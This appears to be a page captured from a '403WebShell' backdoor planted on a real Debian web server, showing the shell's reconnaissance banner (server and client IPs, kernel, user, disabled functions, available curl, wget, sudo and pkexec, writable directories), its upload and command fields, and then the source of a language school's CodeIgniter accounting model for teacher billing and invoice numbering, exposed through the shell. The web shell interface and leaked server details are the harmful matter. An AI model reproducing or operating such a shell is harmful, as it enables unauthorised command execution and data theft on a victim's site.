Uname:Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

403WebShell
403Webshell
Server IP : 188.114.97.2  /  Your IP : 104.23.197.231
Web Server : Apache/2.4.59 (Debian)
System : Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : edlftp ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nicolasj/www/sms.formationlangues.be/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nicolasj/www/sms.formationlangues.be/application/models/Accounting_model.php
<?php
/*********************
 *********************

 Wallet Model
 Creation 22 august 2019
 Aernout Guillaume
 http://Codes.Solutions

 *********************
 *********************/
if (!defined('BASEPATH')) {
    exit('No direct script access allowed');
}

class Accounting_model extends CI_Model
{
    const MIN_TAGS_VALID = 7;

    public function __construct()
    {
        parent::__construct(array('no_cache' => 1));
        $this->load->model('crud_model');
        $this->load->database();
    }
    public function get_transfers()
    {
        $query = $this->db->get('transfer');
        return $query->result_array();
    }
    
    public function get_data($start, $end, $origin)
    {
        $coursesArray = $this->crud_model->get_courses_on_period($start, $end);
        $lessonArray = $this->crud_model->get_lessons_on_period($start, $end);
        $accountingArray = [];

        $lessons_by_courses = [];
        foreach ($lessonArray as &$lesson) {
            if (!empty($lessons_by_courses[(int) $lesson['CourseID']])) {
                $lessons_by_courses[(int) $lesson['CourseID']] = [];
            }
            $lesson['activities'] = json_decode($lesson['LessonContent']);
            $lessons_by_courses[(int) $lesson['CourseID']][] = $lesson;
        }

        foreach($coursesArray as $course) {
            if($this->crud_model->checkArchiveState($course, "courses") == false) {
                $teachers = (array)$this->crud_model->get_teachers_list($course);
                foreach($teachers as $teacher) {
                    //lessons in period
                    $teacherPrice = $this->crud_model->get_teacher_contract($course, $teacher);
                    $teacherLessons =  $this->filtre_teacher($lessonArray, $course, $teacher);

                    if (count($teacherLessons) === 0) {
                        continue;
                    }

                    $teacherHours = $this->get_teacher_hours($teacherLessons);
                    $teacherHoursTotal = $this->crud_model->get_teacher_hours($course, $teacher);
                    $teacherActivity = $this->count_teacher_activities($teacherLessons);

                    $info = $this->crud_model->get_course_info($course);

                    $total_lessons_completed = count(array_filter($teacherLessons, function($lesson) {
                        return (count($lesson['data']['activities']) >= Accounting_model::MIN_TAGS_VALID && !empty($lesson['data']['LessonDesc']) && !empty($lesson['data']['LessonSubjectId']));
                    }));
                    
                    //Detect society
                    if($info[0]['CourseSociety'] == "0" || $info[0]['CourseSociety'] == "") {
                        $teacherSociety = $this->crud_model->get_society_name('1');
                    } else {
                        $teacherSociety = $this->crud_model->get_society_name($info[0]['CourseSociety']);
                    }

                    if($origin == "js") {
                        $courseName = $this->crud_model->get_course_name($course);
                        $teacherName = $this->crud_model->get_teacher_name($teacher);

                        $teacherAdminState = $this->crud_model->get_teacher_profile_state($teacher);
                        $color = $this->crud_model->get_teacher_contract_state($teacherAdminState);

                        if($teacherPrice == "") {
                            $class = "btn-default";
                        } else {
                            $class = "btn-success";
                        }

                        $teacherLessonDetail;
                        foreach ($teacherLessons as $key => $l) {
                            $teacherLessonDetail =   $teacherLessonDetail.$courseName."  [".$l['data']['LessonDate']."][".$l['data']['LessonStart']."|".$l['data']['LessonEnd']."] ".$teacherName."\n";
                        }

                        $currentArray = array(
                          'courseID' => $course,
                          'course' => $courseName,
                          'courseColor' => $this->crud_model->get_bgColor($this->crud_model->get_course_local($course)),
                          'teacherID' => $teacher,
                          'teacher' => $teacherName,
                          'class' => $class,
                          'color' => $color,
                          'total_lessons' => count($teacherLessons),
                          'total_lessons_completed' => $total_lessons_completed,
                          'teacher_contract' =>  $teacherPrice,
                          'teacher_lessons' => $teacherLessons,
                          'teacher_lessons_detail' =>  $teacherLessonDetail,
                          'teacher_lesson_nb' => count($teacherLessons),
                          'teacher_hours' => $teacherHours,
                          'teacher_hours_total' => $teacherHoursTotal,
                          'teacher_bill' => ($teacherPrice * $teacherHours),
                          'teacher_activity' => $teacherActivity,
                          'teacher_society' => $teacherSociety
                        );
                    } else {
                        $currentArray = array(
                          'course_id' => $course,
                          'teacher_id' => $teacher,
                          'teacher_contract' =>  $teacherPrice,
                          'teacher_lesson_nb' => count($teacherLessons),
                          'teacher_hours' => $teacherHours,
                          'teacher_hours_total' => $teacherHoursTotal,
                          'teacher_bill' => ($teacherPrice * $teacherHours),
                          'teacher_activity' => $teacherActivity,
                          'teacher_society' => $teacherSociety
                        );
                    }

                    $accountingArray[] = $currentArray;
                }
            }
        }
        return $accountingArray;
    }


    public function get_data_t($start, $end, $origin)
    {

        $coursesArray = $this->crud_model->get_courses_on_period($start, $end);
        $lessonArray = $this->crud_model->get_lessons_on_period($start, $end);
        $accountingArray = [];

        $lessons_by_courses = [];
        foreach ($lessonArray as &$lesson) {
            if (!empty($lessons_by_courses[(int) $lesson['CourseID']])) {
                $lessons_by_courses[(int) $lesson['CourseID']] = [];
            }
            $lesson['activities'] = json_decode($lesson['LessonContent']);
            $lessons_by_courses[(int) $lesson['CourseID']][] = $lesson;
        }

        $teacher_array = [];
        foreach($coursesArray as $course) {

            if($this->crud_model->checkArchiveState($course, "courses") == false) {
                $teachers = array($this->session->userID);

                foreach($teachers as $teacher) {
                    //lessons in period
                    $teacherPrice = $this->crud_model->get_teacher_contract($course, $teacher);
                    $teacherLessons =  $this->filtre_teacher($lessonArray, $course, $teacher);
                    if (empty($teacherLessons)) {
                        continue;
                    }
                    $teacherHours = $this->get_teacher_hours($teacherLessons);
                    $teacherHoursTotal = $this->crud_model->get_teacher_hours($course, $teacher);
                    $teacherActivity = $this->count_teacher_activities($teacherLessons);

                    $info = $this->crud_model->get_course_info($course);

                    $total_lessons_completed = count(array_filter($teacherLessons, function($lesson) {
                        return (count($lesson['data']['activities']) >= Accounting_model::MIN_TAGS_VALID && !empty($lesson['data']['LessonDesc']) && !empty($lesson['data']['LessonSubjectId']));
                    }));

                    //detect society
                    if($info[0]['CourseSociety'] == "0" || $info[0]['CourseSociety'] == "") {
                        $teacherSociety = $this->crud_model->get_society_name('1');
                    } else {
                        $teacherSociety = $this->crud_model->get_society_name($info[0]['CourseSociety']);
                    }

                    if($origin == "js") {
                        $courseName = $this->crud_model->get_course_name($course);
                        $teacherName = $this->crud_model->get_teacher_name($teacher);

                        if($teacherPrice == "") {
                            $class = "btn-default";
                        } else {
                            $class = "btn-success";
                        }

                        $teacherLessonDetail;
                        foreach ($teacherLessons as $key => $l) {
                            $teacherLessonDetail =   $teacherLessonDetail.$courseName."  [".$l['data']['LessonDate']."][".$l['data']['LessonStart']."|".$l['data']['LessonEnd']."] \n";
                        }

                        $currentArray = array(
                          'courseID' => $course,
                          'course' => $courseName,
                          'courseColor' => $this->crud_model->get_bgColor($this->crud_model->get_course_local($course)),
                          'teacherID' => $teacher,
                          'teacher' => $teacherName,
                          'class' => $class,
                          'total_lessons' => count($teacherLessons),
                          'total_lessons_completed' => $total_lessons_completed,
                          'teacher_contract' => $teacherPrice,
                          'teacher_lessons' => $teacherLessons,
                          'teacher_lessons_detail' =>  $teacherLessonDetail,
                          'teacher_lesson_nb' => count($teacherLessons),
                          'teacher_hours' => $teacherHours,
                          'teacher_hours_total' => $teacherHoursTotal,
                          'teacher_bill' => ($teacherPrice * $teacherHours),
                          'teacher_activity' => $teacherActivity,
                          'teacher_society' => $teacherSociety
                        );
                    } else {
                        $currentArray = array(
                          'course_id' => $course,
                          'teacher_id' => $teacher,
                          'teacher_contract' =>  $teacherPrice,
                          'teacher_lesson_nb' => count($teacherLessons),
                          'teacher_hours' => $teacherHours,
                          'teacher_hours_total' => $teacherHoursTotal,
                          'teacher_bill' => ($teacherPrice * $teacherHours),
                          'teacher_activity' => $teacherActivity,
                          'teacher_society' => $teacherSociety
                        );
                    }

                    array_push($accountingArray, $currentArray);
                }
            }
        }

        return $accountingArray;
    }

    public function count_teacher_activities(array $array) : int
    {
        $activity = [];
        $debug = [];
        foreach ($array as $row) {
            $currentNumber = "0";
            $currentActive = "0";
            $currentActivity = "0";
            $students = $this->crud_model->get_lesson_students($row['lesson']);

            if($students != null) {

                array_push($debug, $students);
                foreach ($students as $student) {
                    if($studen['student_id'] != '0') {
                        $currentNumber++;
                        if($student['status_id'] != "0") {
                            $currentActive++;
                        }
                    }
                }
                $currentActivity = (($currentActive * 100) / $currentNumber);
                array_push($activity, $currentActivity);
            }
        }

        return (int) round(array_sum($activity) / count($activity), 0);
    }

    public function get_teacher_hours($array)
    {
        $hours = "";
        foreach ($array as $row) {
            $hours = $hours + $this->crud_model->get_lesson_duration($row['lesson']);
        }
        return $hours;
    }

    public function filtre_teacher($array, $course, $teacher)
    {
        $teacherData = [];
        foreach ($array as $row) {
            if($row['CourseID'] == $course) {
                $lessonTeachers =  $this->crud_model->get_lesson_teacher($row['ID']);
                if(in_array($teacher, $lessonTeachers)) {
                    $data =  array(
                      'course' => $row['CourseID'],
                      'lesson' => $row['ID'],
                      'teacher' => $teacher,
                      'data' => $row
                    );
                    array_push($teacherData, $data);
                }
            }
        }
        return $teacherData;
    }

    public function get_linked_transactions()
    {
        $query = $this->db->get('invoices');
        $res = $query->result_array();
        $linked = [];
        foreach ($res as $row) {
            $trans = json_decode($row['Transaction_ID'], true)['transactions'];
            foreach ($trans as $key => $t) {
                if(!in_array($t, $linked)) {
                    array_push($linked, $t);
                }
            }
        }
        return $linked;
    }

    public function get_last_invoice($id)
    {
        $this->db->where(array('Customer_ID' => $id)); // ??

        $this->db->order_by('Invoice_Date', 'DESC');
        $query = $this->db->get('invoices');
        $res = $query->result_array();
        foreach ($res as $row) {

            return $row['Invoice_Date'];
        }
    }
    public function get_last_nc($id)
    {
        //$this->db->where(array('Customer_ID' => $id));
        $this->db->order_by('Invoice_Date', 'DESC');
        $query = $this->db->get('credit_note');
        $res = $query->result_array();
        //return $id;
        foreach ($res as $row) {

            return $row['Invoice_Date'];
        }
    }
    public function generate_invoice_id($society)
    {
        $this->db->order_by('Invoice_ID', 'DESC');
        $last = $this->db->get_where('invoices', array('Society_ID' => $society))->result_array()[0];

        if(count($last) > 0) {
            $n = preg_replace('/[^0-9.]+/', '', $last['Invoice_ID']);
            $s = substr($last['Invoice_ID'], 0, 4);

            return $s."-".str_pad($n + 1, 4, '0', STR_PAD_LEFT);
        } else {
            $s = substr($this->crud_model->get_society_name($society), 0, 4);
            return $s."-0001";
        }
    }
    public function generate_credit_note_id($society)
    {
        $this->db->order_by('ID', 'DESC');
        $last = $this->db->get_where('credit_note', array('Society_ID' => $society))->result_array()[0];

        if(count($last) > 0) {
            $n = preg_replace('/[^0-9.]+/', '', $last['Credit_Note_ID']);
            $s = substr($last['Credit_Note_ID'], 0, 4);

            return $s."-".str_pad($n + 1, 4, '0', STR_PAD_LEFT);
        } else {
            $s = substr($this->crud_model->get_society_name($society), 0, 4);
            return $s."-0001";
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit